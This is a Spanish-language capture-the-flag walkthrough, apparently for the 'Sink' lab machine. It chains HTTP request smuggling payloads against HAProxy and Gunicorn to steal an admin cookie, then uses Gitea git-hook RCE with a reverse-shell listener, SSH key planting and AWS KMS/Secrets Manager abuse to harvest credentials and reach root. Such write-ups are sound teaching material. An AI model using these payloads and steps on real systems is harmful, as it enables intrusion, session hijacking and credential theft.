Sink

sudo nmap 10.129.32.51 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
sudo nmap 10.129.32.51 -p22,3000,5000 -sCV -oN targeted

Nos registramos en http://10.129.32.51:5000 Al intentar FUZZING recibimos un bloqueo.

Probamos algún payload de SSTI de python y Go ${{<%[%'"}}%\. { . } en las funcionales de comentar y de añadir nota

Las notas 2,3 y 4 tiran un 302, tampoco podemos hacer muchas más peticiones porque nos comemos un bloqueo

No parece haber nada interesante.

Volviendo al gitea http://10.129.32.51:3000

Podemos enumerar usuarios y organizaciones, pero no hay repos.

Haciendo más pruebas sobre http://10.129.32.51:5000 encontramos que Gunicorn 20.0.0 es vulnerable a HTTP Request Smuggling

HTTP Request Smuggling in gunicorn | CVE-2024-6827 | Snyk

Nos dan la siguiente POC que confirma que es una TE:CL es decir , el frontend tomará el Transfer-Encoding: chunked y el backend tomará el Content-Length: 6

POST / HTTP/1.1
Host: 172.24.10.169
Content-Length: 4
Transfer-Encoding: chunked,gzip
\r\n
70\r\n
GET /admin?callback1=https://webhook.site/717269ae-8b97-4866-9a24-17ccef265a30 HTTP/1.1\r\n
Host: 172.24.10.169\r\n
\r\n
0\r\n

Algo así podría funcionar al enviar la petición varias veces, pero parece ser que no recibimos ninguna respuesta distinta (con la nota que queremos ver)

Buscando un poco más encontramos un post de un blog

huntr - The world’s first bug bounty platform for AI/ML

Donde ponen la siguiente POC

\r\n
1\r\n
a\r\n
0\r\n
\r\n

Y el resto la entenderá como una nueva petición que procesará directamente el backend, bypasseando los filtros del frontend

Lamentablemente no conseguimos que funcione y recibimos un 400 debido a la cabecera inválida

HTTP/1.0 400 Bad request
Server: haproxy 1.9.10
Cache-Control: no-cache
Connection: close
Content-Type: text/html

<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>

El error de arriba nos chiva que se está usando HAproxy como frontend
lo cuál nos lleva a este artículo:

Gunicorn 20.0.4 Request Smuggling - grenfeldt.dev

y enviará las dos peticiones al backend

GET / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 68\r\n
Sec-Websocket-Key1: x\r\n
\r\n
xxxxxxxxGET /admin HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 35\r\n
\r\n
GET / HTTP/1.1\r\n
Host: localhost\r\n
\r\n
GET / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 68\r\n
Sec-Websocket-Key1: x\r\n
\r\n
xxxxxxxx
GET /admin HTTP/1.1
Host: localhost
Content-Length: 35\r\n
\r\n
GET / HTTP/1.1\r\n
Host: localhost\r\n
\r\n

Nuevamente , nuestra prueba de concepto no funciona

En esta ocasión buscamos HaProxy 1.9.10 y encontramos el siguiente artículo

HAProxy HTTP request smuggling (CVE-2019-18277) - Nathan Davison

Aquí el enfoque que utilizan es el el básico CL:TE solo que para que el frontend HAproxy no tenga preferencia por el Transfer-Encoding: chunked lo ponemos ofuscado, así recurrirá al Content-Length.

El backend si tendrá preferencia Transfer-Encoding pero al contrario que el frontend si que lo entenderá, como se explica en el artículo.

POST / HTTP/1.1\r\n
Host: 10.129.64.238:5000\r\n
Cookie: session=eyJlbWFpbCI6Im0wYkBzaW5rLmh0YiJ9.aV1jFg.dWIeNbZK8-HKTenzuClosKxLRZ0\r\n
Content-Length: 6\r\n
Transfer-Encoding: [\x0b]chunked\r\n
\r\n
0\r\n
\r\n
X

Para poner el tab vertical [\x0b] :

Enviamos la petición varias veces y recibimos un 405

Porque en algún momento la X ha quedado flotando y se ha pegado a otra petición XGET o XPOST por ejemplo, esto demuestra la vulnerabilidad.

POST / HTTP/1.1\r\n
Host: 10.129.64.238:5000\r\n
Cookie: session=eyJlbWFpbCI6Im0wYkBzaW5rLmh0YiJ9.aV1jFg.dWIeNbZK8-HKTenzuClosKxLRZ0\r\n
Content-Length: 38\r\n
Transfer-Encoding: [\x0b]chunked\r\n
\r\n
0\r\n
\r\n
GET /notes/1 HTTP/1.1\r\n
X-Foo: bar

La cabecera del final puede se cualquiera X-Foo: bar para concatenarse así a la primera línea de la siguiente petición

GET /notes/1 HTTP/1.1\r\n
X-Foo: barPOST /HTTP/1.1
...

Lo conseguimos , pero nos sigue tirando un 302 a pesar de hacer la petición de la nota 1 desde el backend

Con este enfoque podemos publicar la petición smuggleada en un comentario, lo cuál puede likear la cookie del admin si este está haciendo operaciones actualmente:

POST / HTTP/1.1
Host: 10.129.64.238:5000
Cookie: session=eyJlbWFpbCI6Im0wYkBzaW5rLmh0YiJ9.aV1jFg.dWIeNbZK8-HKTenzuClosKxLRZ0
Content-Length: 192
Transfer-Encoding: chunked

0\r\n
\r\n
POST /comment HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 50\r\n
Cookie: session=eyJlbWFpbCI6Im0wYkBzaW5rLmh0YiJ9.aV1jFg.dWIeNbZK8-HKTenzuClosKxLRZ0\r\n
\r\n
msg=foo

Cambiamos nuestra cookie por la suya y somos admin

En las notas 1,2 y 3 encontramos

Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz

Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3

Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C
echo '10.129.64.238  sink.htb chef.sink.htb code.sink.htb nagios.sink.htb' >> /etc/hosts

De todas formas no llegamos a esos dominios.

Probamos las creds contras ssh por si acaso, pero nos bloquea

Creamos una lista de usuarios con los del gitea y los nuevos.

nxc ssh 10.129.64.238 -u users.txt -p passwords.txt --continue-on-success

Para el gitea la combinaciones válida es

root \ FaH@3L>Z3})zzfQ3
git clone http://10.129.66.18:3000/root/Log_Management.git
git clone http://10.129.66.18:3000/root/Serverless-Plugin.git
git clone http://10.129.66.18:3000/root/Key_Management.git

Si miramos el historial de cambios de create_log.php

git log -p create_logs.php
ACCESS KEY ID : AKIAIUEN3QWCPSTEITJQ
SECRET KEY : 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
REGION : eu
ENDPOINT : 127.0.0.1:4566

Vemos una política que nos puede ser útil

'KeyId' => $keyId,
        'PolicyName' => $policyName,
        'Policy' => '{ 
            "Version": "2012-10-17", 
            "Id": "custom-policy-2016-12-07", 
            "Statement": [ 
                { "Sid": "Enable IAM User Permissions", 
                "Effect": "Allow", 
                "Principal": 
                   { "AWS": "arn:aws:iam::100123623493:user/root" }, 
                "Action": [ "kms:*" ], 
                "Resource": "*" }, 
                { "Sid": "Enable IAM User Permissions", 
                "Effect": "Allow", 
                "Principal":                 
                   { "AWS": "arn:aws:iam::100102123833:user/david" }, 
                "Action": [
                    "kms:Decrypt*",
                    "kms:DescribeKey*"
                ], 
                "Resource": "*" }                 
            ] 

Es una extensión de código para la herramienta de línea de comandos serverless (la más famosa para desplegar AWS Lambda, Azure Functions, etc.).

En el mundo Serverless, las funciones Lambda generan logs en CloudWatch Logs. Una configuración muy común es usar un plugin para:

  1. Suscribir los Logs de CloudWatch a Kinesis.
  2. Que Kinesis los mande a Elasticsearch.

Esto se hace porque la consola nativa de logs de AWS (CloudWatch) es lenta y mala para buscar, mientras que Elasticsearch/Kibana es instantáneo y potente.


Después de esto vemos que la versión de Gitea es la 1.12.6

Hay una vuln , en concreto la CVE-2020-14144 que nos permite hacer RCE con git hooks

Como somos el usuario root podemos crear los hooks que queramos

wget https://www.exploit-db.com/download/49571      
python3 49571 -v -t http://10.129.66.18:3000/ -u root -p 'FaH@3L>Z3})zzfQ3' -I 10.10.17.48 -P '4444'

Como el script fallaba lo hicimos normal, creamos un repo y le añadimos un hook

mkdir exploit

git init

git config --global --add safe.directory /path/exploit

git config user.email "root@sink.htb"
git config user.name "root"

touch README.md
git add README.md
git commit -m "exploit"

git remote add origin http://10.129.67.88:3000/root/exploit.git

git push -u origin master
nc -lvnp 4444

Normalizamos la shell

Vemos que hay varios puertos abiertos

netstat -tuln | grep 127.0.0.1
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5/eB3fkcjMlHXGhabTx/rcxvxdc3k2CeIxjj3Nxyb43L3cmwWyix9nRFe0nsbFozZKdvRaZx5oHJpyJydGuC/FlXSrsUOTtC5PwRYiOxBjAci6ZzCUZv1m7Vyk6btTTYClX0gZyaIjePjrqv1yJ8LvT6yAmePZr1jP5rH+H6Gfw7cZ/HPbuixgY5l7yDz/EivpkkP1G9BjR5+gh/+8PN2R7afaVYZNJo3iI1kjuNRILd9FKowRgbvf4BFJttWgK//IQOu7b/4FR0f9vXcsoSGzYe4TCriogTkUJGUPpA1eljifolPNelI+ghSsp5/GLnlNKYumJ0EZ0lZHPjzd+nkbHj40M1gKz7lSQjvohyTav4DoPAla1e1m2KMJPIcamNo7s5EbGZBnet44hqt8sdOG1XB5TfW3rVMevDVN8WRYRE4EKyZRD+x7Fq+Z4lJW+9dg4mOTM2UujrU38faNvLVyub/OteTcx/cfvUhYdlD771zEWM1wLCMiGoDBu3SpHs= kali@kali' > /home/git/.ssh/authorized_keys

De momento vamos a forwardearnos el puerto del emulador de AWS (localstack)

ssh git@10.129.67.88 -L 4566:127.0.0.1:4566
export AWS_ACCESS_KEY_ID="AKIAIUEN3QWCPSTEITJQ"

export AWS_SECRET_ACCESS_KEY="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"

export AWS_DEFAULT_REGION="eu-east-1"

Como antes nos había parecido ver un repositorio de KMS , listamos las claves, con este comando listamos los identificadores de las claves

aws kms list-keys --endpoint-url http://127.0.0.1:4566
{
    "Keys": [
        {
            "KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac"
        },
        {
            "KeyId": "16754494-4333-4f77-ad4c-d0b73d799939",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/16754494-4333-4f77-ad4c-d0b73d799939"
        },
        {
            "KeyId": "2378914f-ea22-47af-8b0c-8252ef09cd5f",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2378914f-ea22-47af-8b0c-8252ef09cd5f"
        },
        {
            "KeyId": "2bf9c582-eed7-482f-bfb6-2e4e7eb88b78",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2bf9c582-eed7-482f-bfb6-2e4e7eb88b78"
        },
        {
            "KeyId": "53bb45ef-bf96-47b2-a423-74d9b89a297a",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/53bb45ef-bf96-47b2-a423-74d9b89a297a"
        },
        {
            "KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0"
        },
        {
            "KeyId": "837a2f6e-e64c-45bc-a7aa-efa56a550401",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/837a2f6e-e64c-45bc-a7aa-efa56a550401"
        },
        {
            "KeyId": "881df7e3-fb6f-4c7b-9195-7f210e79e525",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/881df7e3-fb6f-4c7b-9195-7f210e79e525"
        },
        {
            "KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/c5217c17-5675-42f7-a6ec-b5aa9b9dbbde"
        },
        {
            "KeyId": "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"
        },
        {
            "KeyId": "f2358fef-e813-4c59-87c8-70e50f6d4f70",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f2358fef-e813-4c59-87c8-70e50f6d4f70"
        }
    ]
}

Según la política que hemos sacado antes , seguramente seamos david

{
  "Sid": "Enable IAM User Permissions",
  "Effect": "Allow",
  "Principal": {
    "AWS": "arn:aws:iam::100102123833:user/david"
  },
  "Action": [
    "kms:Decrypt*",
    "kms:DescribeKey*"
  ],
  "Resource": "*"
}

Pero nos permite listar alias, aunque no haya, se trata de un permiso que david no tiene, asi que es posible que las credenciales sean de root

aws kms list-aliases --endpoint-url http://127.0.0.1:4566

Tenemos permisos para describir keys

aws kms describe-key --key-id 0b539917-5eff-45b2-9fa1-e13f0d2c42ac --endpoint-url http://127.0.0.1:4566

También tenemos kms:Decrypt pero no tenemos nada que necesitemos descifrar ahora mismo usando alguna de esas claves.

Hay una clave en concreto que nos tira ENABLED

aws kms describe-key --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --endpoint-url http://127.0.0.1:4566

Haciendo un poco más de enumeración encontramos que hay secretos en el Secret Manager , lo cuál está íntimamente relacionado con las KMS

aws secretsmanager list-secrets --endpoint-url http://127.0.0.1:4566
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-WEcsa",
            "Name": "Jenkins Login",
            "Description": "Master Server to manage release cycle 1",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "37aad712-cf04-4b69-9ecb-c53ea8da0182": [
                    "AWSCURRENT"
                ]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-hgclP",
            "Name": "Sink Panel",
            "Description": "A panel to manage the resources in the devnode",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "ca9b94ff-58a7-41ac-bb5f-a4ac58d811d7": [
                    "AWSCURRENT"
                ]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-dDeXh",
            "Name": "Jira Support",
            "Description": "Manage customer issues",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "e3983841-1cb5-4d64-8851-9407b607f7a5": [
                    "AWSCURRENT"
                ]
            }
        }
    ]
}

Como tenemos kms:Decrypt* seguramente podamos leer estos secretos

aws secretsmanager get-secret-value --secret-id 'Jira Support' --endpoint-url http://127.0.0.1:4566
{
	"username":"david@sink.htb",
	"password":"EALB=bcC=`a7f2#k"
}
aws secretsmanager get-secret-value --secret-id 'Sink Panel'  --endpoint-url http://127.0.0.1:4566
{
	"username":"albert@sink.htb",
	"password":"Welcome123!"
}
aws secretsmanager get-secret-value --secret-id 'Jenkins Login'  --endpoint-url http://127.0.0.1:4566
{
	"username":"john@sink.htb",
	"password":"R);\\)ShS99mZ~8j"
}

Nos logueamos como david usando su contraseña

david \ EALB=bcC=`a7f2#k

En /home/david/Projects/Prod_Deployment encontramos un archivo llamado servers.enc que tiene toda la pinta de estar encriptado

jq -r '.Keys[].KeyId' keys.json

Iteramos sobre las claves de las que disponemos para ver si podemos desencriptar el archivo

while IFS= read -r key; do 

aws kms decrypt --ciphertext-blob fileb://servers.enc --key-id $key --output text --query Plaintext --endpoint-url http://127.0.0.1:4566  

; done < keys.txt

Probamos a habilitarlas todas y lo volvemos a intentar, pero no tenemos éxito

while IFS= read -r key; do 

aws kms enable-key --key-id $key --endpoint-url http://127.0.0.1:4566  

; done < keys.txt

Si volvemos a los repos y buscamos diferencias entre commits más exhaustivamente , por ejemplo en Key_Management

git diff --name-only f20e6f6 b01a6b7 | cat 

Encontramos .keys/dev_keys donde se likea la id_rsa de marcus

git diff  f20e6f6 b01a6b7 | cat 
ssh marcus@10.129.68.118 -i marcus.pem 

Y por lo menos ahí tenemos la flag de user

En el repo de Log_Management se habla CloudWatch en concreto de logs:

Listamos los grupos de logs

aws logs describe-log-groups --endpoint-url http://127.0.0.1:4566 --query 'logGroups[*].logGroupName' --output text | cat

Listamos los streams (archivos de logs)

aws logs describe-log-streams --log-group-name "cloudtrail" --endpoint-url http://127.0.0.1:4566 --query 'logStreams[*].logStreamName' --output text | cat

Listamos los logs

aws logs get-log-events --log-group-name "cloudtrail" --log-stream-name "20201222" --output text --endpoint-url http://127.0.0.1:4566 | cat

Encontramos que se trata de logs de secretmanager, cosa que ya hemos dumpeado

Volvemos a la parte donde estabamos con el binario servers.enc

La única clave que había activa desde el principio y que servía para encriptar y desencriptar era esta:

aws kms describe-key --key-id 0b539917-5eff-45b2-9fa1-e13f0d2c42ac --endpoint-url http://127.0.0.1:4566 | cat
{
    "KeyMetadata": {
        "AWSAccountId": "000000000000",
        "KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
        "Arn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
        "CreationDate": "2021-01-04T05:57:28-05:00",
        "Enabled": true,
        "Description": "Encryption and Decryption",
        "KeyUsage": "ENCRYPT_DECRYPT",
        "KeyState": "Enabled",
        "Origin": "AWS_KMS",
        "KeyManager": "CUSTOMER",
        "CustomerMasterKeySpec": "RSA_4096",
        "EncryptionAlgorithms": [
            "RSAES_OAEP_SHA_1",
            "RSAES_OAEP_SHA_256"
        ]
    }
}

A veces en necesario pasarle el algoritmo de desencriptación

aws  kms decrypt --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --ciphertext-blob fileb://servers.enc --encryption-algorithm RSAES_OAEP_SHA_256 --output text --endpoint-url http://127.0.0.1:4566 | /usr/bin/cat

Convertimos el output en base64 a un archivo y vemos que el tipo de archivo es un `.gz

echo 'H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA=' | base64 -d > servers

Descomprimimos y el archivo resultante es un .tar el cual descomprimimos también

Nos quedan servers.yml y servers.sig

server:
  listenaddr: ""
  port: 80
  hosts:
    - certs.sink.htb
    - vault.sink.htb
defaultuser:
  name: admin
  pass: _uezduQ!EY5AHfe2

Y nos podemos loguear por ssh a root.

Pasted image 20260110205840.png